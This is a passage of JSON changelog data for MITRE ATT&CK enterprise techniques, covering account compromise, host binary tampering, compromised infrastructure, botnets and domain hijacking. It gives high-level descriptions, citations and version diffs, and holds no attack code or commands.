"description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
"url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
},
{
"source_name": "Netcraft SendGrid 2024",
"description": "Graham Edgecombe. (2024, February 7). Phishception \u2013 SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.",
"url": "https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/"
},
{
"source_name": "MSTIC Nobelium Oct 2021",
"description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
"url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Francesco Bigarella"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.215000+00:00\", \"old_value\": \"2025-04-15 22:01:54.640000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0879: Detection of Cloud Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:20:53.104000+00:00",
"modified": "2025-10-24 17:48:41.309000+00:00",
"name": "Email Accounts",
"description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1586/002",
"external_id": "T1586.002"
},
{
"source_name": "AnonHBGary",
"description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
"url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
},
{
"source_name": "Microsoft DEV-0537",
"description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
"url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tristan Bennett, Seamless Intelligence",
"Bryan Onel"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.309000+00:00\", \"old_value\": \"2025-04-15 22:26:01.830000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0861: Detection of Email Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:18:35.535000+00:00",
"modified": "2025-10-24 17:48:32.696000+00:00",
"name": "Social Media Accounts",
"description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1586/001",
"external_id": "T1586.001"
},
{
"source_name": "AnonHBGary",
"description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
"url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
},
{
"source_name": "NEWSCASTER2014",
"description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
"url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
},
{
"source_name": "BlackHatRobinSage",
"description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
"url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.696000+00:00\", \"old_value\": \"2025-04-15 23:08:45.478000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0021: Persona (Social Media)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0870: Detection of Social Media Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:18:34.279000+00:00",
"modified": "2025-10-24 17:49:07.572000+00:00",
"name": "Compromise Host Software Binary",
"description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1554",
"external_id": "T1554"
},
{
"source_name": "Google Cloud Mandiant UNC3886 2024",
"description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
},
{
"source_name": "Unit42 Banking Trojans Hooking 2022",
"description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.",
"url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"
},
{
"source_name": "ESET FontOnLake Analysis 2021",
"description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.",
"url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"CrowdStrike Falcon OverWatch",
"Liran Ravich, CardinalOps",
"Jamie Williams (U \u03c9 U), PANW Unit 42"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Deletion\", \"File: File Modification\", \"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.572000+00:00\", \"old_value\": \"2025-04-15 19:58:52.206000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \\n\\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \\n-\\n-Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1045: Code Signing"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Creation)",
"DS0022: File (File Deletion)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0336: Detect Compromise of Host Software Binaries"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:36:30.759000+00:00",
"modified": "2025-10-24 17:49:01.181000+00:00",
"name": "Compromise Infrastructure",
"description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Adversaries may also compromise numerous machines to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services or to form a botnet.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) via [Wi-Fi Networks](https://attack.mitre.org/techniques/T1669).(Citation: Nearest Neighbor Volexity)\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584",
"external_id": "T1584"
},
{
"source_name": "amnesty_nso_pegasus",
"description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.",
"url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
},
{
"source_name": "Sysdig Proxyjacking",
"description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
"url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
},
{
"source_name": "FireEye DNS Hijack 2019",
"description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.",
"url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"
},
{
"source_name": "ICANNDomainNameHijacking",
"description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.",
"url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en"
},
{
"source_name": "Koczwara Beacon Hunting Sep 2021",
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"source_name": "Nearest Neighbor Volexity",
"description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
"url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
},
{
"source_name": "Mandiant APT1",
"description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"source_name": "Talos DNSpionage Nov 2018",
"description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.",
"url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
},
{
"source_name": "NSA NCSC Turla OilRig",
"description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
"url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
},
{
"source_name": "Mandiant SCANdalous Jul 2020",
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
},
{
"source_name": "FireEye EPS Awakens Part 2",
"description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
"url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jeremy Galloway",
"Shailesh Tiwary (Indian Army)",
"Menachem Goldstein",
"Cian Heasley",
"Rouven Bissinger (SySS GmbH)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Domain Name: Domain Registration\", \"Domain Name: Active DNS\", \"Domain Name: Passive DNS\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.181000+00:00\", \"old_value\": \"2025-04-15 19:58:45.612000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \\n\\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \\n-\\n-Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)",
"DS0035: Internet Scan (Response Metadata)",
"DS0038: Domain Name (Active DNS)",
"DS0038: Domain Name (Domain Registration)",
"DS0038: Domain Name (Passive DNS)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0885: Detection of Compromise Infrastructure"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:58:35.269000+00:00",
"modified": "2025-10-24 17:49:02.197000+00:00",
"name": "Botnet",
"description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/005",
"external_id": "T1584.005"
},
{
"source_name": "Dell Dridex Oct 2015",
"description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
"url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation"
},
{
"source_name": "Imperva DDoS for Hire",
"description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
"url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
},
{
"source_name": "Norton Botnet",
"description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
"url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.197000+00:00\", \"old_value\": \"2025-04-16 13:38:12.734000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0883: Detection of Botnet"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:51:28.513000+00:00",
"modified": "2025-10-24 17:49:38.448000+00:00",
"name": "Domains",
"description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/001",
"external_id": "T1584.001"
},
{
"source_name": "Krebs DNS Hijack 2019",
"description": "Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022.",
"url": "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/"
},
{
"source_name": "ICANNDomainNameHijacking",
"description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.",
"url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en"
},
{
"source_name": "Palo Alto Unit 42 Domain Shadowing 2022",
"description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.",
"url": "https://unit42.paloaltonetworks.com/domain-shadowing/"
},
{
"source_name": "Microsoft Sub Takeover 2020",
"description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.",
"url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jeremy Galloway"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.4",
